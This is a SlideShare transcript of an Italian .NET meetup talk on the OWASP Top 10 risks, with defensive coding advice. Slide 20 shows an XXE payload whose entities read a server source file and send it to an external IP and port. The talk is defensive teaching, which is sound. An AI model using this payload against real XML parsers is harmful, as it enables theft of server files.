Meetup DotNetCode Owasp
1 like114 views
The document summarizes a presentation given by Fabio Mannis on secure coding practices for .NET developers. It discusses the Open Web Application Security Project (OWASP) Top 10 security risks, including injection, broken authentication, sensitive data exposure, and cross-site scripting. It provides examples of each risk and techniques for avoiding common vulnerabilities like validating and sanitizing untrusted user input, implementing secure password policies, encrypting sensitive data, and using anti-XSS libraries when updating pages with user-supplied content. The presentation aims to help developers write more secure code and avoid vulnerabilities.
![[OPD 2019] Inter-application vulnerabilities](https://cdn.slidesharecdn.com/ss_thumbnails/interapplicationvulnerabilities-mszydlowski-191021171552-thumbnail.jpg?width=560&fit=bounds)
![[OPD 2019] AST Platform and the importance of multi-layered application secu...](https://cdn.slidesharecdn.com/ss_thumbnails/uriaankorionastplatformandtheimportanceofmultilayeredapplicationsecuritytesting-191021171736-thumbnail.jpg?width=560&fit=bounds)
Ad
More Related Content
What's hot (20)
Similar to Meetup DotNetCode Owasp (20)
Ad
More from dotnetcode (19)
Ad
Recently uploaded (20)
Meetup DotNetCode Owasp
- 1. DotNetCode.IT Microsoft .Net Coding Community www.dotnetcode.it MeetUp! #AperiTech
- 2. DotNetCode.IT Microsoft .Net Coding Community OWASP: Security for .NET Developers (scrivere codice sicuro o almeno provarci) Benvenuti DotNetCode.IT Microsoft .Net Coding Community
- 3. DotNetCode.IT Microsoft .Net Coding Community #AperiTech
- 4. DotNetCode.IT Microsoft .Net Coding Community 21 Aprile 2018 - Global Azure Bootcamp bit.ly/gabrome18
- 5. DotNetCode.IT Microsoft .Net Coding Community Speaker Software Architect Comdata Digital Fabio Mannis Email : [email protected] Linkedin : https://www.linkedin.com/in/fabiomannis/
- 6. DotNetCode.IT Microsoft .Net Coding Community AGENDA • Cosa è OWASP • Quali sono i top 10 punti da tenere presente per sviluppare applicazioni web «sicure» • Casi d'uso ed alcuni esempi su come scrivere codice sicuro (o almeno provarci!)
- 7. DotNetCode.IT Microsoft .Net Coding Community OWASP
- 8. DotNetCode.IT Microsoft .Net Coding Community • The Top 10 provides basic techniques to protect against these high risk problem areas, and provides guidance on where to go from here. • There are hundreds of issues that could affect the overall security of a web application • The OWASP Application Security Verification Standard (ASVS) Project provides a basis for testing web application technical security controls and also provides developers with a list of requirements for secure development.
- 9. DotNetCode.IT Microsoft .Net Coding Community OWASP Cheat Sheet Series
- 10. DotNetCode.IT Microsoft .Net Coding Community Application Security Verification Standard (ASVS)
- 11. DotNetCode.IT Microsoft .Net Coding Community A1:2017- Injection Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
- 12. DotNetCode.IT Microsoft .Net Coding Community A1:2017- Injection In an injection attack, instead of specifying data, the user is able to specify a command. This means that for applications which are vulnerable to injection attacks, hackers can in fact direct the system to perform an action which could lead to data exposure, loss of data integrity, and even data deletion.
- 13. DotNetCode.IT Microsoft .Net Coding Community A1:2017- Injection • Sql Injection • Ldap Injection • Command Injection
- 14. DotNetCode.IT Microsoft .Net Coding Community A2:2017-Broken Authentication Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities temporarily or permanently.
- 15. DotNetCode.IT Microsoft .Net Coding Community A2:2017-Broken Authentication • Password • Minumum lenght >=10 (or passphrases) • Maximun lenght 128 • Password complexity • Hashing • Secure Password Recovery Mechanism • No cookieless session • TLS!!!
- 16. DotNetCode.IT Microsoft .Net Coding Community A2:2017-Broken Authentication • Require re-authentication for Sensitive features (for mitigate CSRF or XSS attacks) • Authentication and Error Messages (generic manner) • Prevent Brute-Force Attacks • Built-in Session Management Implementations (Asp.net core identity) • Cookies • HttpOnly = true;
- 17. DotNetCode.IT Microsoft .Net Coding Community A2:2017-Broken Authentication • Cookies • HttpOnly = true; • Default expiration (default : only current browser session valid) • Secure = true; • Domain
- 18. DotNetCode.IT Microsoft .Net Coding Community A3:2017- Sensitive Data Exposure Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser
- 19. DotNetCode.IT Microsoft .Net Coding Community A4:2017-XML External Entities (XXE) Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.
- 20. DotNetCode.IT Microsoft .Net Coding Community A4:2017-XML External Entities (XXE) <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % stolendata SYSTEM "file:///c:/inetpub/wwwroot/Views/secret_source.cshtml"> <!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://192.168.1.10:4444/?%stolendata;'>">
- 21. DotNetCode.IT Microsoft .Net Coding Community A5:2017-Broken Access Control Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users’ data, change access rights, etc.
- 22. DotNetCode.IT Microsoft .Net Coding Community A6:2017-Security Misconfiguration Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched and upgraded in a timely fashion.
- 23. DotNetCode.IT Microsoft .Net Coding Community A7:2017- Cross-Site Scripting (XSS) XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
- 24. DotNetCode.IT Microsoft .Net Coding Community A8:2017- Insecure Deserialization Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.
- 25. DotNetCode.IT Microsoft .Net Coding Community A9:2017-Using Components with Known Vulnerabilities Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.
- 26. DotNetCode.IT Microsoft .Net Coding Community A10:2017- Insufficient Logging & Monitoring Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring.
- 27. DotNetCode.IT Microsoft .Net Coding Community
- 28. DotNetCode.IT Microsoft .Net Coding Community DotNetCode.IT Microsoft .Net Coding Community
- 29. DotNetCode.IT Microsoft .Net Coding Community Prossimo Evento Leonardo D’Ottavi Data: 18/05/2018
- 30. DotNetCode.IT Microsoft .Net Coding Community Global Azure Bootcamp 2018 bit.ly/gabrome18
- 31. DotNetCode.IT Microsoft .Net Coding Community Selfie Lottery www.dotnetcode.it http://bit.ly/sldnc20180418
- 32. DotNetCode.IT Microsoft .Net Coding Community Grazie a Tutti! DotNetCode.IT Microsoft .Net Coding Community
- 33. DotNetCode.IT Microsoft .Net Coding Community Follow US! www.dotnetcode.it https://www.facebook.com/DotNetCode.IT https://twitter.com/DotNetCodeIT https://plus.google.com/+DotnetcodeIt